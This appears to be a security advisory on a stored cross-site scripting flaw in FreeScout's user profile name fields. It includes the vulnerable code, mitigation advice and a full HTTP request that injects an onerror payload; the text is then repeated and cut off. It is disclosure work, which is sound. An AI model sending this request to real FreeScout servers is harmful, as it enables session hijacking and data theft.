Stored XSS [8]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.4.0: 4.6 (AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N)
Description: the application is vulnerable to Cross-Site Scripting (XSS) attacks due to incorrect input validation and sanitization of user-input data. An attacker can inject arbitrary HTML code, including JavaScript scripts, into the page processed by the user's browser, allowing them to steal sensitive data, hijack user sessions, or conduct other malicious activities.
Implementation Scenarios: /users/profile/
Implementation Options:
• POST last_name
• POST first_name
Vulnerable scenarios: /users
Exploitation conditions: an authorized user, the CSP feature should be disabled, and it can be disabled through the vulnerability 1.2.
Vulnerable section of code:
Listing. Vulnerable code snippe (app/Http/Controllers/UsersController.php:ajax 503)
<?php
//..
\Session::flash('flash_success_floating', __('User deleted').': '.$user->getFullName());
//..
?>
Mitigation: Input Validation and Sanitization: all user-supplied data used to generate web pages processed by the browser, including HTTP request headers (e.g., User-Agent, Referer), must be subject to preliminary transformation to prevent potential security vulnerabilities. This transformation should replace potentially hazardous characters that could be used for HTML formatting with their safe equivalents. The htmlspecialchars()function
can be employed for this purpose.
To prevent Cross-Site Scripting (XSS) attacks, a comprehensive approach is recommended, including code and server configuration changes, as well as technical security measures:
• leverage frameworks that provide automated input validation and filtering to prevent XSS attacks;
• in the web application code, escape untrusted data in HTTP requests in the context of HTML page output (body, attributes, JavaScript, CSS, or URL);
• avoid using potentially vulnerable DOM objects in the application code that can be exploited by attackers;
• enable Content Security Policy (CSP);
• configure session cookies with the secure and httpOnly flags;
• return files with correct MIME type or use Content-Disposition: attachment and Content-Type: application/octet-stream to force download.
For general information on safeguarding against Cross-Site Scripting (XSS) vulnerabilities, please refer to:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Stored XSS» in FreeScout.
The system's incorrect validation of last_name and first_name during profile data updates allows for the injection of arbitrary JavaScript code, which will be executed in a flesh-message when the data is deleted, potentially leading to a Cross-Site Scripting (XSS) vulnerability.
Listing. HTTP request for inserting malicious payload
POST /users/profile/24 HTTP/1.1
Host: x.x.x.x
Content-Length: 1239
Cache-Control: max-age=0
Accept-Language: ru-RU,ru;q=0.9
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRV8oRvXHck5XbInA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x /users/profile/24
Accept-Encoding: gzip, deflate, br
Cookie: [COOKIE]
Connection: keep-alive
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="_token"
MaQOohNpswyKs9JEFNNtbBgmo0bAB1i4z24lW6Jh
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="first_name"
test
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="last_name"
<img src=x onerror=alert()>333
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="email"
[email protected]
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="emails"
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="job_title"
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="locale"
ru
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="timezone"
Etc/GMT-3
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="time_format"
2
------WebKitFormBoundaryRV8oRvXHck5XbInA
Content-Disposition: form-data; name="photo_url"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryRV8oRvXHck5XbInA--
Stored XSS [8]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.4.0: 4.6 (AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N)
Description: the application is vulnerable to Cross-Site Scripting (XSS) attacks due to incorrect input validation and sanitization of user-input data. An attacker can inject arbitrary HTML code, including JavaScript scripts, into the page processed by the user's browser, allowing them to steal sensitive data, hijack user sessions, or conduct other malicious activities.
Implementation Scenarios:
/users/profile/
Implementation Options:
Vulnerable scenarios:
/users
Exploitation conditions: an authorized user, the CSP feature should be disabled, and it can be disabled through the vulnerability 1.2.
Vulnerable section of code:
Listing. Vulnerable code snippe (app/Http/Controllers/UsersController.php:ajax 503)
Mitigation: Input Validation and Sanitization: all user-supplied data used to generate web pages processed by the browser, including HTTP request headers (e.g., User-Agent, Referer), must be subject to preliminary transformation to prevent potential security vulnerabilities. This transformation should replace potentially hazardous characters that could be used for HTML formatting with their safe equivalents. The
htmlspecialchars()function
can be employed for this purpose.To prevent Cross-Site Scripting (XSS) attacks, a comprehensive approach is recommended, including code and server configuration changes, as well as technical security measures:
• leverage frameworks that provide automated input validation and filtering to prevent XSS attacks;
• in the web application code, escape untrusted data in HTTP requests in the context of HTML page output (body, attributes, JavaScript, CSS, or URL);
• avoid using potentially vulnerable DOM objects in the application code that can be exploited by attackers;
• enable Content Security Policy (CSP);
• configure session cookies with the secure and httpOnly flags;
• return files with correct MIME type or use Content-Disposition: attachment and Content-Type: application/octet-stream to force download.
For general information on safeguarding against Cross-Site Scripting (XSS) vulnerabilities, please refer to:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Stored XSS» in FreeScout.
The system's incorrect validation of last_name and first_name during profile data updates allows for the injection of arbitrary JavaScript code, which will be executed in a flesh-message when the data is deleted, potentially leading to a Cross-Site Scripting (XSS) vulnerability.
Listing. HTTP request for inserting malicious payload